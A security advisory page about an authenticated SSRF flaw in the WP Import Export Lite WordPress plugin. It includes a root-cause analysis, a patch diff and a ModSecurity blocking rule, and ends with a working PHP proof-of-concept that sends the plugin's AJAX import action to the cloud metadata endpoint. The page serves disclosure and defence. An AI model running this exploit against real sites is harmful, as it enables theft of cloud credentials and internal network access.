What is CVE-2026-11397?

CVE-2026-11397 is a Server-Side Request Forgery (SSRF) vulnerability in the WP Import Export Lite plugin for WordPress, affecting versions up to and including 3.9.30. It allows authenticated attackers with administrator-level access to make arbitrary HTTP requests from the server, potentially reaching internal services like cloud metadata endpoints.

How does the SSRF vulnerability work?

The plugin first attempts to download a file using wp_safe_remote_get(), which blocks private IP ranges. However, if that call fails (as it does for internal hosts), it falls back to GuzzleHttpClient::request() with the original attacker-supplied URL and no SSRF protection. This bypass allows requests to internal resources like 169.254.169.254.

Who is affected by this vulnerability?

Any WordPress site running WP Import Export Lite version 3.9.30 or earlier is affected. The attacker must have administrator-level access to the WordPress dashboard, so sites with untrusted administrators or compromised admin accounts are at risk.

How can I check if my site is vulnerable?

Check the installed version of WP Import Export Lite in the WordPress plugins page. If it is 3.9.30 or lower, the site is vulnerable. You can also verify by reviewing the plugin files for the download.php file and checking if it uses wp_http_validate_url() in the download_file() method.

What is the CVSS score and what does it mean?

The CVSS score is 5.5 (Medium). This reflects the requirement for high-level authentication (administrator), but the potential impact includes accessing cloud metadata and internal services, which can lead to credential theft and lateral movement in cloud environments.

How do I fix or mitigate this vulnerability?

Update WP Import Export Lite to version 3.9.31 or later, which adds URL validation via wp_http_validate_url() before any download attempt. As a temporary mitigation, restrict administrator access to trusted users and monitor for unusual AJAX requests to admin-ajax.php with the wpie_import_upload_file_from_url action.

What does the proof of concept demonstrate?

The PoC authenticates as an administrator and sends an AJAX request with a file_url pointing to an internal resource like the cloud metadata endpoint. It shows that the plugin retrieves the metadata despite initial SSRF protections, confirming the bypass.

What is the root cause of this vulnerability?

The root cause is in the download.php file. The download_file() method calls wp_download() first, which uses wp_safe_remote_get(). When that fails, it calls guzzle_download() which uses GuzzleHttpClient::request() without any URL validation or IP filtering, and with SSL verification disabled.

What is the impact of exploiting this vulnerability?

An attacker can scan internal networks, retrieve sensitive data from cloud metadata endpoints (e.g., AWS IAM credentials), and interact with internal services. This could lead to data exfiltration, lateral movement, and further compromise of connected systems.

Why does the plugin fall back to Guzzle?

The plugin uses Guzzle as an alternative HTTP client when wp_safe_remote_get() fails, likely to handle edge cases or different server configurations. However, this fallback lacks SSRF protections, creating the vulnerability.

How was the vulnerability patched?

In version 3.9.31, the plugin added a call to wp_http_validate_url() at the beginning of the download_file() method. This validates the URL against allowed schemes and blocks internal/private IP ranges before any download attempt, preventing the SSRF bypass.

Is this vulnerability exploitable without authentication?

No, the vulnerability requires administrator-level authentication. The AJAX action wpie_import_upload_file_from_url is only accessible to users with the appropriate capabilities. However, if an administrator account is compromised, the risk is significant.

Published : July 2, 2026

CVE-2026-11397: WP Import Export Lite <= 3.9.30 Authenticated (Administrator+) Server-Side Request Forgery via 'file_url' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-11397

Plugin wp-import-export-lite

Severity Medium (CVSS 5.5)

CWE 918

Vulnerable Version 3.9.30

Patched Version 3.9.31

Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11397: The WP Import Export Lite plugin for WordPress (versions up to and including 3.9.30) contains a Server-Side Request Forgery (SSRF) vulnerability in the file download functionality of the import feature. An authenticated attacker with administrator privileges can bypass the plugin’s initial SSRF protection and make requests to internal network resources, including cloud metadata endpoints.

The root cause is in the download.php file within the wp-import-export-lite/includes/classes/import/downloader/ directory. The download_file() method first calls wp_download(), which uses wp_safe_remote_get() with built-in SSRF protections that block access to private and reserved IP ranges. However, when wp_safe_remote_get() fails (returns a WP_Error), the code falls through to guzzle_download(), which uses GuzzleHttpClient::request() directly with the same attacker-supplied URL and with the SSL verification disabled (“verify” => false). The guzzle_download() method does not perform any URL validation or IP range filtering. The vulnerable parameter is $this->url, which comes from the user-supplied ‘file_url’ parameter via the wpie_import_upload_file_from_url AJAX action.

An attacker with administrator access can exploit this by sending an AJAX request to /wp-admin/admin-ajax.php with the action parameter set to wpie_import_upload_file_from_url and the file_url parameter set to an internal resource address, such as http://169.254.169.254/latest/meta-data/ (the cloud metadata endpoint). The plugin’s wp_download() method will attempt to fetch this URL first using wp_safe_remote_get(), which will fail because it blocks the 169.254.0.0/16 range. The error triggers the guzzle_download() fallback, which makes the request without any restrictions, successfully retrieving the metadata.

The patch (version 3.9.31) adds a call to wp_http_validate_url() in the download_file() method, which validates the URL against allowed HTTP/HTTPS schemes and blocks URLs pointing to internal/private IP ranges. This validation occurs before any download attempt. If the URL is invalid (according to WordPress URL validation), the method returns an error immediately and never proceeds to wp_download() or guzzle_download(). The patched code effectively eliminates the SSRF vector by validating the URL at the entry point of the download process.

Exploitation of this vulnerability allows an authenticated administrator to scan internal network services, retrieve sensitive data from cloud metadata endpoints (such as AWS IAM credentials), and potentially interact with internal systems that are not intended to be accessible from the public internet. This could lead to lateral movement within the cloud environment, data exfiltration, and further compromise of connected services. The CVSS score of 5.5 reflects the requirement for high-level authentication, but the potential impact on cloud-hosted WordPress installations is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-import-export-lite/includes/classes/import/downloader/download.php
+++ b/wp-import-export-lite/includes/classes/import/downloader/download.php
@@ -3,34 +3,41 @@

 namespace wpieimportDownloader;

-defined( 'ABSPATH' ) || exit;
+defined('ABSPATH') || exit;

-class Download {
+class Download
+{

-        private $url         = "";
-        private $sslverify   = false;
+        private $url = "";
+        private $sslverify = false;
         private $redirection = 5;
-        private $timeout     = 3000;
+        private $timeout = 3000;
+
+        public function __construct()
+        {

-        public function __construct() {
-
         }

-        public function download_file( $url = "" ) {
+        public function download_file($url = "")
+        {
+
+                if (empty($url)) {
+                        return new WP_Error('wpie_import_error', __('File Download Error : File URL is empty', 'wp-import-export-lite'));
+                }

-                $this->url = $url;
+                $this->url = wp_http_validate_url($url);

-                if ( empty( $this->url ) ) {
-                        return new WP_Error( 'wpie_import_error', __( 'File Download Error : File URL is empty', 'wp-import-export-lite' ) );
+                if (false === $this->url) {
+                        return new WP_Error('wpie_import_error', __('File Download Error : File URL is not valid', 'wp-import-export-lite'));
                 }

                 $wp_file = $this->wp_download();

-                if ( is_wp_error( $wp_file ) ) {
+                if (is_wp_error($wp_file)) {

                         $guzzle_file = $this->guzzle_download();

-                        if ( !is_wp_error( $guzzle_file ) ) {
+                        if (!is_wp_error($guzzle_file)) {
                                 $wp_file = $guzzle_file;
                         }
                 }
@@ -38,52 +45,54 @@
                 return $wp_file;
         }

-        private function wp_download() {
+        private function wp_download()
+        {

                 $filename = time() . rand() . ".tmp";

                 $file = get_temp_dir() . $filename;

-                $response = wp_safe_remote_get( $this->url, [ 'timeout' => $this->timeout, 'stream' => true, 'filename' => $file, 'sslverify' => $this->sslverify ] );
+                $response = wp_safe_remote_get($this->url, ['timeout' => $this->timeout, 'stream' => true, 'filename' => $file, 'sslverify' => $this->sslverify]);

-                if ( is_wp_error( $response ) ) {
+                if (is_wp_error($response)) {

-                        if ( file_exists( $file ) ) {
-                                unlink( $file );
+                        if (file_exists($file)) {
+                                unlink($file);
                         }
                         return $response;
                 }

-                if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
+                if (200 != wp_remote_retrieve_response_code($response)) {

-                        if ( file_exists( $file ) ) {
-                                unlink( $file );
+                        if (file_exists($file)) {
+                                unlink($file);
                         }
-                        return new WP_Error( 'http_404', trim( wp_remote_retrieve_response_message( $response ) ) );
+                        return new WP_Error('http_404', trim(wp_remote_retrieve_response_message($response)));
                 }

-                $content_md5 = wp_remote_retrieve_header( $response, 'content-md5' );
+                $content_md5 = wp_remote_retrieve_header($response, 'content-md5');

-                if ( $content_md5 ) {
+                if ($content_md5) {

-                        $md5_check = verify_file_md5( $file, $content_md5 );
+                        $md5_check = verify_file_md5($file, $content_md5);

-                        if ( is_wp_error( $md5_check ) ) {
+                        if (is_wp_error($md5_check)) {

-                                if ( file_exists( $file ) ) {
-                                        unlink( $file );
+                                if (file_exists($file)) {
+                                        unlink($file);
                                 }
                                 return $md5_check;
                         }

-                        unset( $md5_check );
+                        unset($md5_check);
                 }


                 return $file;
         }

-        private function guzzle_download() {
+        private function guzzle_download()
+        {

                 $filename = time() . rand() . ".tmp";

@@ -94,34 +103,34 @@
                 try {
                         $client = new GuzzleHttpClient();

-                        $response = $client->request( 'GET', $this->url, [ 'sink' => $file, 'verify' => false ] );
-                } catch ( Exception $e ) {
-                        return new WP_Error( 'download_error', $e->getMessage() );
+                        $response = $client->request('GET', $this->url, ['sink' => $file, 'verify' => false]);
+                } catch (Exception $e) {
+                        return new WP_Error('download_error', $e->getMessage());
                 }

-                if ( 200 != $response->getStatusCode() ) {
+                if (200 != $response->getStatusCode()) {

-                        if ( file_exists( $file ) ) {
-                                unlink( $file );
+                        if (file_exists($file)) {
+                                unlink($file);
                         }
-                        return new WP_Error( 'download_error', __( "File Download Error : Invalid Status Code", 'wp-import-export-lite' ) );
+                        return new WP_Error('download_error', __("File Download Error : Invalid Status Code", 'wp-import-export-lite'));
                 }

-                $content_md5 = $response->getHeaderLine( 'content-type' );
+                $content_md5 = $response->getHeaderLine('content-type');

-                if ( $content_md5 ) {
+                if ($content_md5) {

-                        $md5_check = verify_file_md5( $file, $content_md5 );
+                        $md5_check = verify_file_md5($file, $content_md5);

-                        if ( is_wp_error( $md5_check ) ) {
+                        if (is_wp_error($md5_check)) {

-                                if ( file_exists( $file ) ) {
-                                        unlink( $file );
+                                if (file_exists($file)) {
+                                        unlink($file);
                                 }
                                 return $md5_check;
                         }

-                        unset( $md5_check );
+                        unset($md5_check);
                 }


--- a/wp-import-export-lite/wp-import-export-lite.php
+++ b/wp-import-export-lite/wp-import-export-lite.php
@@ -3,224 +3,225 @@
 /*
   Plugin Name: WP Import Export Lite
   Description: The Advanced and powerful solution for importing and exporting data to WordPress. Import and Export to Posts, Pages, and Custom Post Types. Ability to update existing data, and much more.
-  Version: 3.9.30
+  Version: 3.9.31
   Author: VJInfotech
   Author URI: http://www.vjinfotech.com
   Text Domain: wp-import-export-lite
   Domain Path: /languages/
  */

-defined( 'ABSPATH' ) || exit;
+defined('ABSPATH') || exit;

-if ( file_exists( realpath( plugin_dir_path( __FILE__ ) ) . '/deactivate-plugins.php' ) ) {
-        require_once(realpath( plugin_dir_path( __FILE__ ) ) . '/deactivate-plugins.php');
-        add_action( 'admin_init', 'wpie_auto_deactivate_pro_plugins' );
+if (file_exists(realpath(plugin_dir_path(__FILE__)) . '/deactivate-plugins.php')) {
+        require_once(realpath(plugin_dir_path(__FILE__)) . '/deactivate-plugins.php');
+        add_action('admin_init', 'wpie_auto_deactivate_pro_plugins');
 }

 // Plugin version
-if ( !defined( 'WPIE_PLUGIN_VERSION' ) ) {
-        define( 'WPIE_PLUGIN_VERSION', '3.9.30' );
+if (!defined('WPIE_PLUGIN_VERSION')) {
+        define('WPIE_PLUGIN_VERSION', '3.9.30');
 }
 // Plugin version
-if ( !defined( 'WPIE_DB_VERSION' ) ) {
-        define( 'WPIE_DB_VERSION', '1.0.0' );
+if (!defined('WPIE_DB_VERSION')) {
+        define('WPIE_DB_VERSION', '1.0.0');
 }

 // Plugin base name
-if ( !defined( 'WPIE_PLUGIN_FILE' ) ) {
-        define( 'WPIE_PLUGIN_FILE', __FILE__ );
+if (!defined('WPIE_PLUGIN_FILE')) {
+        define('WPIE_PLUGIN_FILE', __FILE__);
 }

 // Plugin Folder Path
-if ( !defined( 'WPIE_PLUGIN_DIR' ) ) {
-        define( 'WPIE_PLUGIN_DIR', realpath( plugin_dir_path( WPIE_PLUGIN_FILE ) ) . '/' );
+if (!defined('WPIE_PLUGIN_DIR')) {
+        define('WPIE_PLUGIN_DIR', realpath(plugin_dir_path(WPIE_PLUGIN_FILE)) . '/');
 }

-$plugin_url = plugin_dir_url( WPIE_PLUGIN_FILE );
+$plugin_url = plugin_dir_url(WPIE_PLUGIN_FILE);

-if ( is_ssl() ) {
-        $plugin_url = str_replace( 'http://', 'https://', $plugin_url );
+if (is_ssl()) {
+        $plugin_url = str_replace('http://', 'https://', $plugin_url);
 }
-if ( !defined( 'WPIE_PLUGIN_URL' ) ) {
-        define( 'WPIE_PLUGIN_URL', untrailingslashit( $plugin_url ) );
+if (!defined('WPIE_PLUGIN_URL')) {
+        define('WPIE_PLUGIN_URL', untrailingslashit($plugin_url));
 }

 // Plugin site path
-if ( !defined( 'WPIE_PLUGIN_SITE' ) ) {
-        define( 'WPIE_PLUGIN_SITE', 'http://www.vjinfotech.com' );
+if (!defined('WPIE_PLUGIN_SITE')) {
+        define('WPIE_PLUGIN_SITE', 'http://www.vjinfotech.com');
 }
-if ( !defined( 'WPIE_PLUGIN_API' ) ) {
-        define( 'WPIE_PLUGIN_API', 'http://api.vjinfotech.com/' );
+if (!defined('WPIE_PLUGIN_API')) {
+        define('WPIE_PLUGIN_API', 'http://api.vjinfotech.com/');
 }
-if ( !defined( 'WPIE_DOC_URL' ) ) {
-        define( 'WPIE_DOC_URL', 'http://plugins.vjinfotech.com/wordpress-import-export/documentation/' );
+if (!defined('WPIE_DOC_URL')) {
+        define('WPIE_DOC_URL', 'http://plugins.vjinfotech.com/wordpress-import-export/documentation/');
 }
-if ( !defined( 'WPIE_SUPPORT_URL' ) ) {
-        define( 'WPIE_SUPPORT_URL', 'http://www.vjinfotech.com/support/' );
+if (!defined('WPIE_SUPPORT_URL')) {
+        define('WPIE_SUPPORT_URL', 'http://www.vjinfotech.com/support/');
 }

 $wpupload_dir = wp_upload_dir();

-$wpie_upload_dir = $wpupload_dir[ 'basedir' ] . '/wp-import-export-lite';
+$wpie_upload_dir = $wpupload_dir['basedir'] . '/wp-import-export-lite';

-$wpie_upload_url = $wpupload_dir[ 'baseurl' ] . '/wp-import-export-lite';
+$wpie_upload_url = $wpupload_dir['baseurl'] . '/wp-import-export-lite';

-if ( !defined( 'WPIE_SITE_UPLOAD_DIR' ) ) {
-        define( 'WPIE_SITE_UPLOAD_DIR', $wpupload_dir[ 'basedir' ] );
+if (!defined('WPIE_SITE_UPLOAD_DIR')) {
+        define('WPIE_SITE_UPLOAD_DIR', $wpupload_dir['basedir']);
 }

-unset( $wpupload_dir );
+unset($wpupload_dir);

-if ( !defined( 'WPIE_UPLOAD_DIR' ) ) {
-        define( 'WPIE_UPLOAD_DIR', $wpie_upload_dir );
+if (!defined('WPIE_UPLOAD_DIR')) {
+        define('WPIE_UPLOAD_DIR', $wpie_upload_dir);
 }

-if ( !defined( 'WPIE_UPLOAD_URL' ) ) {
-        define( 'WPIE_UPLOAD_URL', $wpie_upload_url );
+if (!defined('WPIE_UPLOAD_URL')) {
+        define('WPIE_UPLOAD_URL', $wpie_upload_url);
 }
-unset( $wpie_upload_url );
+unset($wpie_upload_url);

-if ( !defined( 'WPIE_ASSETS_URL' ) ) {
-        define( 'WPIE_ASSETS_URL', WPIE_PLUGIN_URL . '/assets' );
+if (!defined('WPIE_ASSETS_URL')) {
+        define('WPIE_ASSETS_URL', WPIE_PLUGIN_URL . '/assets');
 }

-if ( !defined( 'WPIE_UPLOAD_EXPORT_DIR' ) ) {
-        define( 'WPIE_UPLOAD_EXPORT_DIR', WPIE_UPLOAD_DIR . "/export" );
+if (!defined('WPIE_UPLOAD_EXPORT_DIR')) {
+        define('WPIE_UPLOAD_EXPORT_DIR', WPIE_UPLOAD_DIR . "/export");
 }

-if ( !defined( 'WPIE_UPLOAD_IMPORT_DIR' ) ) {
-        define( 'WPIE_UPLOAD_IMPORT_DIR', WPIE_UPLOAD_DIR . "/import" );
+if (!defined('WPIE_UPLOAD_IMPORT_DIR')) {
+        define('WPIE_UPLOAD_IMPORT_DIR', WPIE_UPLOAD_DIR . "/import");
 }

-if ( !defined( 'WPIE_UPLOAD_TEMP_DIR' ) ) {
-        define( 'WPIE_UPLOAD_TEMP_DIR', WPIE_UPLOAD_DIR . "/temp" );
+if (!defined('WPIE_UPLOAD_TEMP_DIR')) {
+        define('WPIE_UPLOAD_TEMP_DIR', WPIE_UPLOAD_DIR . "/temp");
 }
-if ( !defined( 'WPIE_UPLOAD_MAIN_DIR' ) ) {
-        define( 'WPIE_UPLOAD_MAIN_DIR', WPIE_UPLOAD_DIR . "/upload" );
+if (!defined('WPIE_UPLOAD_MAIN_DIR')) {
+        define('WPIE_UPLOAD_MAIN_DIR', WPIE_UPLOAD_DIR . "/upload");
 }

-wp_mkdir_p( $wpie_upload_dir );
+wp_mkdir_p($wpie_upload_dir);

-unset( $wpie_upload_dir );
+unset($wpie_upload_dir);

-if ( !is_dir( WPIE_UPLOAD_EXPORT_DIR ) ) {
-        wp_mkdir_p( WPIE_UPLOAD_EXPORT_DIR );
+if (!is_dir(WPIE_UPLOAD_EXPORT_DIR)) {
+        wp_mkdir_p(WPIE_UPLOAD_EXPORT_DIR);
 }

-if ( !is_dir( WPIE_UPLOAD_IMPORT_DIR ) ) {
-        wp_mkdir_p( WPIE_UPLOAD_IMPORT_DIR );
+if (!is_dir(WPIE_UPLOAD_IMPORT_DIR)) {
+        wp_mkdir_p(WPIE_UPLOAD_IMPORT_DIR);
 }
-if ( !is_dir( WPIE_UPLOAD_TEMP_DIR ) ) {
-        wp_mkdir_p( WPIE_UPLOAD_TEMP_DIR );
+if (!is_dir(WPIE_UPLOAD_TEMP_DIR)) {
+        wp_mkdir_p(WPIE_UPLOAD_TEMP_DIR);
 }
-if ( !is_dir( WPIE_UPLOAD_MAIN_DIR ) ) {
-        wp_mkdir_p( WPIE_UPLOAD_MAIN_DIR );
+if (!is_dir(WPIE_UPLOAD_MAIN_DIR)) {
+        wp_mkdir_p(WPIE_UPLOAD_MAIN_DIR);
 }

-if ( wp_is_writable( WPIE_UPLOAD_DIR ) && is_dir( WPIE_UPLOAD_DIR ) ) {
-        @touch( WPIE_UPLOAD_DIR . '/index.php' );
+if (wp_is_writable(WPIE_UPLOAD_DIR) && is_dir(WPIE_UPLOAD_DIR)) {
+        @touch(WPIE_UPLOAD_DIR . '/index.php');
 }

-if ( wp_is_writable( WPIE_UPLOAD_EXPORT_DIR ) && is_dir( WPIE_UPLOAD_EXPORT_DIR ) ) {
-        @touch( WPIE_UPLOAD_EXPORT_DIR . '/index.php' );
+if (wp_is_writable(WPIE_UPLOAD_EXPORT_DIR) && is_dir(WPIE_UPLOAD_EXPORT_DIR)) {
+        @touch(WPIE_UPLOAD_EXPORT_DIR . '/index.php');
 }

-if ( wp_is_writable( WPIE_UPLOAD_IMPORT_DIR ) && is_dir( WPIE_UPLOAD_IMPORT_DIR ) ) {
-        @touch( WPIE_UPLOAD_IMPORT_DIR . '/index.php' );
+if (wp_is_writable(WPIE_UPLOAD_IMPORT_DIR) && is_dir(WPIE_UPLOAD_IMPORT_DIR)) {
+        @touch(WPIE_UPLOAD_IMPORT_DIR . '/index.php');
 }
-if ( wp_is_writable( WPIE_UPLOAD_TEMP_DIR ) && is_dir( WPIE_UPLOAD_TEMP_DIR ) ) {
-        @touch( WPIE_UPLOAD_TEMP_DIR . '/index.php' );
+if (wp_is_writable(WPIE_UPLOAD_TEMP_DIR) && is_dir(WPIE_UPLOAD_TEMP_DIR)) {
+        @touch(WPIE_UPLOAD_TEMP_DIR . '/index.php');
 }
-if ( wp_is_writable( WPIE_UPLOAD_MAIN_DIR ) && is_dir( WPIE_UPLOAD_MAIN_DIR ) ) {
-        @touch( WPIE_UPLOAD_MAIN_DIR . '/index.php' );
+if (wp_is_writable(WPIE_UPLOAD_MAIN_DIR) && is_dir(WPIE_UPLOAD_MAIN_DIR)) {
+        @touch(WPIE_UPLOAD_MAIN_DIR . '/index.php');
 }

-if ( !defined( 'WPIE_IMPORT_ADDON_URL' ) ) {
-        define( 'WPIE_IMPORT_ADDON_URL', WPIE_PLUGIN_URL . '/includes/classes/import/extensions' );
+if (!defined('WPIE_IMPORT_ADDON_URL')) {
+        define('WPIE_IMPORT_ADDON_URL', WPIE_PLUGIN_URL . '/includes/classes/import/extensions');
 }
-if ( !defined( 'WPIE_EXPORT_ADDON_URL' ) ) {
-        define( 'WPIE_EXPORT_ADDON_URL', WPIE_PLUGIN_URL . '/includes/classes/export/extensions' );
+if (!defined('WPIE_EXPORT_ADDON_URL')) {
+        define('WPIE_EXPORT_ADDON_URL', WPIE_PLUGIN_URL . '/includes/classes/export/extensions');
 }

-if ( !defined( 'WPIE_CSS_URL' ) ) {
-        define( 'WPIE_CSS_URL', WPIE_ASSETS_URL . '/css' );
+if (!defined('WPIE_CSS_URL')) {
+        define('WPIE_CSS_URL', WPIE_ASSETS_URL . '/css');
 }

-if ( !defined( 'WPIE_JS_URL' ) ) {
-        define( 'WPIE_JS_URL', WPIE_ASSETS_URL . '/js' );
+if (!defined('WPIE_JS_URL')) {
+        define('WPIE_JS_URL', WPIE_ASSETS_URL . '/js');
 }

-if ( !defined( 'WPIE_IMAGES_URL' ) ) {
-        define( 'WPIE_IMAGES_URL', WPIE_ASSETS_URL . '/images' );
+if (!defined('WPIE_IMAGES_URL')) {
+        define('WPIE_IMAGES_URL', WPIE_ASSETS_URL . '/images');
 }

-if ( !defined( 'WPIE_INCLUDES_DIR' ) ) {
-        define( 'WPIE_INCLUDES_DIR', WPIE_PLUGIN_DIR . '/includes' );
+if (!defined('WPIE_INCLUDES_DIR')) {
+        define('WPIE_INCLUDES_DIR', WPIE_PLUGIN_DIR . '/includes');
 }

-if ( !defined( 'WPIE_LIBRARIES_DIR' ) ) {
-        define( 'WPIE_LIBRARIES_DIR', WPIE_PLUGIN_DIR . '/libraries' );
+if (!defined('WPIE_LIBRARIES_DIR')) {
+        define('WPIE_LIBRARIES_DIR', WPIE_PLUGIN_DIR . '/libraries');
 }
-if ( !defined( 'WPIE_CLASSES_DIR' ) ) {
-        define( 'WPIE_CLASSES_DIR', WPIE_INCLUDES_DIR . '/classes' );
+if (!defined('WPIE_CLASSES_DIR')) {
+        define('WPIE_CLASSES_DIR', WPIE_INCLUDES_DIR . '/classes');
 }

-if ( !defined( 'WPIE_IMPORT_CLASSES_DIR' ) ) {
-        define( 'WPIE_IMPORT_CLASSES_DIR', WPIE_CLASSES_DIR . '/import' );
+if (!defined('WPIE_IMPORT_CLASSES_DIR')) {
+        define('WPIE_IMPORT_CLASSES_DIR', WPIE_CLASSES_DIR . '/import');
 }

-if ( !defined( 'WPIE_EXPORT_CLASSES_DIR' ) ) {
-        define( 'WPIE_EXPORT_CLASSES_DIR', WPIE_CLASSES_DIR . '/export' );
+if (!defined('WPIE_EXPORT_CLASSES_DIR')) {
+        define('WPIE_EXPORT_CLASSES_DIR', WPIE_CLASSES_DIR . '/export');
 }

-if ( !defined( 'WPIE_VIEW_DIR' ) ) {
-        define( 'WPIE_VIEW_DIR', WPIE_INCLUDES_DIR . '/views' );
+if (!defined('WPIE_VIEW_DIR')) {
+        define('WPIE_VIEW_DIR', WPIE_INCLUDES_DIR . '/views');
 }

-if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-schedule.php' ) ) {
+if (file_exists(WPIE_CLASSES_DIR . '/class-wpie-schedule.php')) {
         require_once(WPIE_CLASSES_DIR . '/class-wpie-schedule.php');

         new wpieWPIE_Schedule();
 }
-if ( file_exists( WPIE_PLUGIN_DIR . '/support/support.php' ) ) {
+if (file_exists(WPIE_PLUGIN_DIR . '/support/support.php')) {
         require_once(WPIE_PLUGIN_DIR . '/support/support.php');
 }

-if ( file_exists( WPIE_CLASSES_DIR . '/function.php' ) ) {
+if (file_exists(WPIE_CLASSES_DIR . '/function.php')) {
         require_once(WPIE_CLASSES_DIR . '/function.php');
 }

-add_action( 'init', 'wpie_init_addons' );
+add_action('init', 'wpie_init_addons');

-if ( !function_exists( 'wpie_init_addons' ) ) {
+if (!function_exists('wpie_init_addons')) {

-        function wpie_init_addons() {
-                if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-extensions.php' ) ) {
+        function wpie_init_addons()
+        {
+                if (file_exists(WPIE_CLASSES_DIR . '/class-wpie-extensions.php')) {
                         require_once(WPIE_CLASSES_DIR . '/class-wpie-extensions.php');

                         $wpie_ext = new wpieaddonsWPIE_Extension();

                         $wpie_ext->wpie_init_extensions();

-                        unset( $wpie_ext );
+                        unset($wpie_ext);
                 }
         }

 }


-if ( file_exists( WPIE_CLASSES_DIR . '/class-updates.php' ) ) {
+if (file_exists(WPIE_CLASSES_DIR . '/class-updates.php')) {
         require_once(WPIE_CLASSES_DIR . '/class-updates.php');

         new wpieUpdates();
 }

-if ( is_admin() && defined( 'DOING_AJAX' ) && DOING_AJAX && isset( $_REQUEST[ 'action' ] ) && substr( wpie_sanitize_field( $_REQUEST[ 'action' ] ), 0, 4 ) == 'wpie' ) {
+if (is_admin() && defined('DOING_AJAX') && DOING_AJAX && isset($_REQUEST['action']) && substr(wpie_sanitize_field($_REQUEST['action']), 0, 4) == 'wpie') {

-        if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-action.php' ) ) {
+        if (file_exists(WPIE_CLASSES_DIR . '/class-wpie-action.php')) {
                 require_once(WPIE_CLASSES_DIR . '/class-wpie-action.php');
         }
-} elseif ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-general.php' ) ) {
+} elseif (file_exists(WPIE_CLASSES_DIR . '/class-wpie-general.php')) {
         require_once(WPIE_CLASSES_DIR . '/class-wpie-general.php');

         new wpiecoreWPIE_General();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261139,phase:2,deny,status:403,chain,msg:'CVE-2026-11397 - WP Import Export Lite SSRF via file_url',severity:'CRITICAL',tag:'CVE-2026-11397'"
  SecRule ARGS_POST:action "@streq wpie_import_upload_file_from_url" "chain"
    SecRule ARGS_POST:file_url "@rx ^(http|https)?://(127.0.0.1|10.|172.(1[6-9]|2[0-9]|3[01]).|192.168.|169.254.|0.|100.|224.|240.|::1|fc00:|fe80:)" 
      "t:lowercase,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11397 - WP Import Export Lite <= 3.9.30 - Authenticated (Administrator+) Server-Side Request Forgery via 'file_url' Parameter

// Configuration: change these values to match your target
$target_url = 'http://example.com'; // Base URL of the WordPress installation
$username = 'admin';                 // Administrator username
$password = 'password';             // Administrator password

// Internal target to probe (cloud metadata endpoint example)
$internal_target = 'http://169.254.169.254/latest/meta-data/';

echo "[*] CVE-2026-11397 SSRF Exploit PoCn";
echo "[*] Target: $target_urlnn";

// Step 1: Authenticate as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'testcookie' => '1',
    'redirect_to' => $target_url . '/wp-admin/'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    echo "[!] Authentication failed. HTTP code: $http_coden";
    exit(1);
}
echo "[+] Authenticated successfullynn";

// Step 2: Send the AJAX request with the SSRF payload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'wpie_import_upload_file_from_url',
    'file_url' => $internal_target
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] AJAX request sent to: $ajax_urln";
echo "[+] Internal target: $internal_targetn";
echo "[+] HTTP Code: $http_coden";
echo "[+] Response:n$responsen";

// Clean up
unlink('/tmp/cve_cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-11397?
Vulnerability overview
